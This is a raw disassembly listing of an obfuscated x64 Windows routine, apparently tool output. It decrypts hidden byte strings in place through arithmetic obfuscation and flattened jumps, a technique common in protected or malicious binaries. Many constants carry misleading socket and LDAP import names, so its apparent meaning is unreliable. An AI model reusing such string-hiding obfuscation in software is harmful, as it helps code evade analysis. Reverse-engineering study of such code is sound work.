jmp 0x140077160
lea rdx, [rdi + r12]
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400770f0
movabs rdx, 0x997dcb38c4be578a
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_33
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movabs rdx, 0xf1f773487ad200a6
jmp 0x14007709e
movabs rdx, 0xca63a79099d06cf0
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140077d44
movabs rcx, 0xe674c0ffa42c6ba4
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x7c
inc r9
dec rdi
inc rdi
jmp 0x140077082
movabs rcx, 0x285da6eae886a58
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x68
dec rdi
inc rdi
jmp 0x140077082
movabs rcx, 0x1e96f3ddb8e4690c
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x54
jmp 0x140077baa
movabs rcx, 0x3aa80d4cc34067c0
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x40
add r8, r9
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140077082
movabs rcx, 0x56b926bbcd9c6674
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x2c
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140077082
movabs rcx, 0x72ca402ad7f86528
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x18
jmp 0x140077c69
movabs rcx, 0x8edb5999e25463dc
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 4
jmp 0x140077d9f
movabs rdx, 0xaaec7308ecb06290
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 8
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, byte [rbp + rdi + 0xb58]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140077082
movabs rcx, 0xf117329e86965f52
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x3e
mov byte [rbp + rdi + 0xb58], r11b
inc rdi
jmp 0x140077082
movabs rdx, 0xd284c0d90f25e06
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x2a
add r11b, dl
cmp r9, 0x400
jb 0x140077544
movabs rcx, 0x6897eee0efac4224
add rcx, rdi
movzx eax, cl
and al, bl
mov edx, 2
sub dl, al
add dl, dl
add dl, cl
add dl, bl
lea r11d, [rdx + rdx]
jmp 0x140077d44
movabs rcx, 0x2939657c9b4e5cba
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x16
cmp r8, 0x80
jae 0x140077b80
lea rax, [r9 + 0x40]
cmp r8, rax
jbe 0x140077a1d
movabs rcx, 0x8142ed375744352c
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x34
jmp 0x140077576
movabs rcx, 0x454a7eeba5aa5b6e
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 2
lea rax, [r9 + r8]
cmp rax, 0x40
je 0x140077beb
lea rax, [r9 + 0x10]
cmp r8, rax
jbe 0x140077914
movabs rdx, 0xa7f67845440a278e
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400775c5
movabs rdx, 0x17cabdac735c51b4
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 0xa
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movzx eax, byte [rbp + rdi + 0xb58]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140077082
movabs rdx, 0x33dbd71b7db85068
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140077d9f
movabs rdx, 0x4fecf08a88144f1c
mov ecx, reloc.WLDAP32.dll_Ordinal_30
jmp 0x140077c55
movabs rdx, 0x6bfe09f992704dd0
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140077082
movabs rdx, 0x880f23689ccc4c84
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
add r8, r9
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140077082
movabs rdx, 0xa4203cd7a7284b38
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
jmp 0x140077ba4
movabs rcx, 0xc0315646b18449ec
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x74
dec rdi
inc rdi
jmp 0x140077082
movabs rcx, 0xdc426fb5bbe048a0
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x60
inc r9
dec rdi
inc rdi
jmp 0x140077082
movabs rcx, 0xf8538924c63c4754
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x4c
jmp 0x140077d44
lea rax, [r9 + 4]
cmp r8, rax
jae 0x140077816
movabs rdx, 0xf1f773487ad200a6
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140077620
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140077858
movabs rdx, 0xb298e9e426741b3c
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, byte [rbp + rdi + 0xb58]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140077082
inc rax
cmp r8, rax
jne 0x140077874
movabs rdx, 0x5e659d9707601f20
mov ecx, reloc.WS2_32.dll_recv
jmp 0x140077caf
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400778b8
movabs rdx, 0x42548427fd04206c
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 6
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
add r8, r9
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140077082
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400778e4
movabs rcx, 0x26436ab8f2a821b8
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 8
jmp 0x140077baa
lea rax, [r9 + 8]
cmp r8, rax
jne 0x140077620
movabs rcx, 0xd2101e6bd394259c
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x44
jmp 0x140077d44
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140077945
movabs rdx, 0x8be55ed639ae28da
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 5
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140077d44
inc rax
cmp r8, rax
jne 0x140077979
movabs rcx, 0x6fd445672f522a26
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0xa
inc r9
dec rdi
inc rdi
jmp 0x140077082
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400779ab
movabs rcx, 0x53c32bf824f62b72
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x1e
dec rdi
inc rdi
jmp 0x140077082
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400779d7
movabs rcx, 0xe37ec63bfb8630a2
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x6e
jmp 0x140077c69
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400775c5
movabs rdx, 0xab5c935de6ce333a
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, byte [rbp + rdi + 0xb58]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140077082
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140077a5a
movabs rcx, 0x6531d3c84ce83678
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x48
movzx eax, byte [rbp + rdi + 0xb58]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140077082
lea rax, [r9 + 2]
cmp r8, rax
jne 0x140077a86
movabs rcx, 0x4920ba59428c37c4
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x5c
jmp 0x140077d9f
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140077ac7
movabs rdx, 0x10fe877b2dd43a5c
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 0x3e
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140077082
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140077b0b
movabs rdx, 0xf4ed6e0c23783ba8
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 0x34
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
add r8, r9
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140077082
lea rax, [r9 + 6]
cmp r8, rax
jne 0x140077b42
movabs rdx, 0xbccb3b2e0ec03e40
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
dec rdi
inc rdi
jmp 0x140077082
lea rax, [r9 + 7]
cmp r8, rax
jne 0x140077576
movabs rdx, 0xa0ba21bf04643f8c
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
inc r9
dec rdi
inc rdi
jmp 0x140077082
movabs rdx, 0x4c86d571e5504370
add rdx, rdi
movzx eax, dl
and al, bl
add al, al
movzx r11d, byte [rbp + rdi + 0xb58]
sub r11b, al
sub r11b, 0x10
add r11b, dl
add r11b, bl
movabs rdx, 0x3e7e48ba60224416
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 0x33
sub cl, al
add cl, cl
add cl, bl
add cl, dl
add cl, r11b
mov byte [rbp + rdi + 0xb58], cl
add r8, r9
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140077082
movabs rcx, 0x3075bc02daf444bc
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
sub cl, byte [rbp + rdi + 0xb58]
lea r11d, [rbx + rcx]
sub r11b, 0x24
jmp 0x140077c69
movabs rcx, 0xdcb2900ab5fe194a
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 6
movzx eax, byte [rbp + rdi + 0xb58]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140077082
movabs rdx, 0x14d4c2e8cab616b2
mov ecx, reloc.WS2_32.dll_recvfrom
add rdx, rdi
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movabs rdx, 0x226d2f4b55c64562
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_41
sub cl, al
add cl, cl
add cl, dl
add cl, bl
movzx eax, cl
mov byte [rbp + rdi + 0xb58], al
inc r9
add rax, r9
sub rdi, rax
jmp 0x140077d9f
movabs rdx, 0x30e5dc57d5121566
mov ecx, reloc.WLDAP32.dll_Ordinal_27
add rdx, rdi
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140077082
movabs rdx, 0x851928a4f4261182
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
dec rdi
inc rdi
jmp 0x140077082
movabs rcx, 0xbd3b5b8308de0eea
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x66
jmp 0x140077d44
movabs rcx, 0xf55d8e611d960c52
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x3e
movabs rdx, 0x5a8f62296a7e42ca
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 0x3d
sub cl, al
add cl, cl
add cl, bl
add cl, dl
mov byte [rbp + rdi + 0xb58], cl
inc r9
dec rdi
inc rdi
jmp 0x140077082
mov rbx, r10
movabs rdx, 0xb9d5406a661a033e
add rdx, rdi
movzx eax, dl
and al, r10b
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movabs rcx, 0x1464a293d0984608
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
sub cl, 0x38
add cl, bl
mov byte [rbp + rdi + 0xb58], cl
inc r8
mov rax, r13
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi + 0xb58]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140077082
movabs rdx, 0xd5e659d9707601f2
add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movzx eax, byte [rbp + rdi + 0xb58]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140077082
movabs rdx, 0xb58ee4a7cf1a563e
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14007707e
movabs rdx, 0xd19ffe16d97654f2
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x140077067
lea rcx, [rbp + 0x1587ae0]
jmp 0x140077e86
lea rcx, [rbp + 0x16a7b86]
jmp 0x140077e86
lea rcx, [rbp + 0xb58]
mov rdx, rsi
call fcn.1400353f0
lea rdx, [0x14021ae50]
lea rcx, [rbp + 0x4e0]
call fcn.1400022f0
mov rdx, rax
mov rcx, qword [0x140220748]
call fcn.1400693e0
mov rcx, rax
call fcn.14006a7d0
mov rdi, rax
mov byte [rbp + 0xb80], reloc.WLDAP32.dll_Ordinal_26
mov byte [rbp + 0xb81], reloc.WLDAP32.dll_Ordinal_46
mov byte [rbp + 0xb82], Ordinal_46
mov byte [rbp + 0xb83], reloc.WLDAP32.dll_Ordinal_32
mov byte [rbp + 0xb84], 0x52
mov byte [rbp + 0xb85], select
mov byte [rbp + 0xb86], Ordinal_41
mov byte [rbp + 0xb87], gethostname
mov byte [rbp + 0xb88], gethostname
mov byte [rbp + 0xb89], gethostname
mov byte [rbp + 0xb8a], 0xac
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xb8b], xmm0
mov qword [rbp + 0xb9b], rax
movabs rsi, 0xecb728c40057a5fd
movabs r12, 0x17766fa7cf412049
movabs r14, 0xbd4ea01d885c87a3
movabs r15, 0x8e61c0cde9da4711
movzx r10d, byte [rsp + 0x40]
nop dword [rax]
mov r8, qword [0x140220a80]
mov r9, qword [0x140220a78]
nop
xor ebx, ebx
cmp rbx, 0x23
jae 0x140078ca5
movzx r11d, byte [rbp + rbx + 0xb80]
mov rdx, r11
nop dword [rax + rax]
cmp r8, rbx
ja 0x140078c9c
lea rax, [r9 + 1]
cmp r8, rax
jae 0x140077fab
lea rcx, [rbx + r12]
mov rax, rdx
and rax, rcx
imul r10, rax, 0xfffffffffffffffe
add r10, rdx
add r10, rcx
inc r10b
jmp 0x140077fe0
je 0x140078c15
lea rax, [r9 + 3]
cmp r8, rax
je 0x140078b77
lea rax, [r9 + 5]
cmp r8, rax
je 0x140078b15
lea rax, [r9 + 2]
cmp r8, rax
je 0x140078ae7
nop dword [rax + rax]
cmp r9, rbx
ja 0x140078c93
lea rax, [r9 + 5]
cmp r8, rax
jae 0x14007800e
lea rdx, [rbx + rsi]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x15
add r10b, dl
jmp 0x140078041
lea rax, [r9 + 1]
cmp r8, rax
je 0x140078a8f
inc rax
cmp r8, rax
je 0x140078a62
lea rax, [r9 + 3]
cmp r8, rax
je 0x140078a2d
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400789f7
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x1400786c9
nop
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x1400786a3
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x140078671
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x140078642
lea rax, [r9 + 6]
cmp r8, rax
je 0x14007861c
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x1400785f3
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x1400785ba
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x140078591
lea rax, [r9 + 9]
cmp r8, rax
je 0x140078568
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x14007852e
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x140078050
lea r8, [r9 + 0x40]
lea r9, [r8 + 0xa]
lea rax, [r9 + 5]
cmp r8, rax
jb 0x140078c6e
lea rax, [r9 + 6]
cmp r8, rax
jb 0x140078c49
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x14007823f
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x140078220
lea rax, [r9 + 8]
cmp r8, rax
jb 0x140078201
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x1400784cb
lea rax, [r9 + 0x2a]
cmp r8, rax
jb 0x140078468
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x140078418
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x1400783e8
lea rax, [r9 + 1]
cmp r8, rax
jb 0x140078050
lea r8, [r9 + 0x7a]
lea r9, [r8 + 0x3e8]
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x1400783b2
lea rax, [r9 + 0x64]
cmp r8, rax
ja 0x14007838a
lea rax, [r9 + 8]
cmp r8, rax
ja 0x140078362
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x14007832e
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x140078309
lea rax, [r9 + 9]
cmp r8, rax
ja 0x1400782e4
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x1400782b9
lea rax, [r9 + 1]
cmp r8, rax
ja 0x14007828b
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x140078266
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x140078050
lea r8, [r9 + 6]
lea r9, [r8 + 2]
jmp 0x140078050
lea rdx, [rbx + r14]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x75
add r10b, dl
jmp 0x140078041
lea rdx, [rbx + r15]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x77
add r10b, dl
jmp 0x140077fe0
movabs rdx, 0x5f74e17e4b58067f
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub dl, 0x79
add r10b, dl
jmp 0x140077f75
movabs rdx, 0x65b9462002bd2fe8
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x58
jmp 0x140078aaf
movabs rcx, 0x36cc66d0643aef56
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x5a
inc r9
dec rbx
inc rbx
jmp 0x140077f62
movabs rcx, 0x7df8780c5b8aec4
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x5c
dec rbx
inc rbx
jmp 0x140077f62
movabs rdx, 0xd8f2a83127366e32
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x5e
jmp 0x140078b35
movabs rcx, 0xaa05c8e188b42da0
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x60
jmp 0x140078b5f
movabs rcx, 0x7b18e991ea31ed0e
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x62
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140077f62
movabs rdx, 0x4c2c0a424bafac7c
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x64
add r10b, dl
jmp 0x140078b98
movabs rdx, 0x1d3f2af2ad2d6bea
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x66
add r10b, dl
jmp 0x140078bcb
movabs rcx, 0xee524ba30eab2b58
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x68
movzx eax, byte [rbp + rbx + 0xb80]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140077f62
movabs rcx, 0x79021d5c026589eb
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x6d
mov byte [rbp + rbx + 0xb80], r10b
inc rbx
jmp 0x140077f62
movabs rdx, 0x4a153e0c63e34959
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x6f
add r10b, dl
cmp r9, 3
jb 0x140078408
movabs rcx, 0x59307cdc93f2dd16
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, r11b
lea r10d, [rcx*2 - 0x34]
jmp 0x140078ab2
movabs rdx, 0x1b285ebcc56108c7
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x71
add r10b, dl
cmp r8, 0x400
jae 0x1400789a8
lea rax, [r9 + 0x64]
cmp r8, rax
jbe 0x140078899
movabs rdx, 0x83efc3c062dc5762
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
jmp 0x140078438
movabs rdx, 0xec3b7f6d26dec835
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x73
add r10b, dl
lea rax, [r9 + r8]
cmp rax, 0x10
je 0x1400789d1
lea rax, [r9 + 6]
cmp r8, rax
jbe 0x1400787d5
movabs rdx, 0x97389afc6284b165
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x3d
jmp 0x140078488
movabs rdx, 0x8c4af498020de3ee
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 0x3f
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, byte [rbp + rbx + 0xb80]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140077f62
movabs rdx, 0x5d5e1548638ba35c
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 0x3e
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x140078bcb
movabs rdx, 0x2e7135f8c50962ca
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 0x3d
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x140078b98
movabs rdx, 0xff8456a926872238
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140077f62
movabs rdx, 0xd09777598804e1a6
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x140078b5f
movabs rdx, 0xa1aa9809e982a114
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
jmp 0x140078b35
movabs rdx, 0x72bdb8ba4b006082
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
dec rbx
inc rbx
jmp 0x140077f62
movabs rdx, 0x43d0d96aac7e1ff0
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
inc r9
dec rbx
inc rbx
jmp 0x140077f62
movabs rdx, 0x14e3fa1b0dfbdf5e
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
jmp 0x140078aaf
lea rax, [r9 + 0x3e8]
cmp r8, rax
jae 0x1400786ef
lea rcx, [rbx + r12]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
inc r10b
jmp 0x1400784ee
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140078732
movabs rdx, 0xd96e518800af4bfa
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, byte [rbp + rbx + 0xb80]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140077f62
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140078764
movabs rdx, 0x374810273db3cd1e
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x140078b98
lea rax, [r9 + 4]
cmp r8, rax
jne 0x140078796
movabs rdx, 0x9521cec67ab84e42
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_27
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x140078b5f
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400784ee
movabs rdx, 0x21e86cb5563f0ff8
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_30
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
inc r9
dec rbx
inc rbx
jmp 0x140077f62
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x140078802
movabs rcx, 0xc6257a4c0106f1f7
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x3f
jmp 0x140078ab2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140078836
movabs rcx, 0x23ff38eb3e0b731b
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x43
dec rbx
inc rbx
jmp 0x140077f62
lea rax, [rcx + 1]
cmp r8, rax
jne 0x140078864
movabs rdx, 0x52ec183adc8db3ad
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x45
jmp 0x140078b35
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14007848b
movabs rdx, 0xdfb2b629b8147563
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x4b
add r10b, dl
jmp 0x140078b98
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x1400788dc
movabs rdx, 0xb2dca310015e97f4
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_46
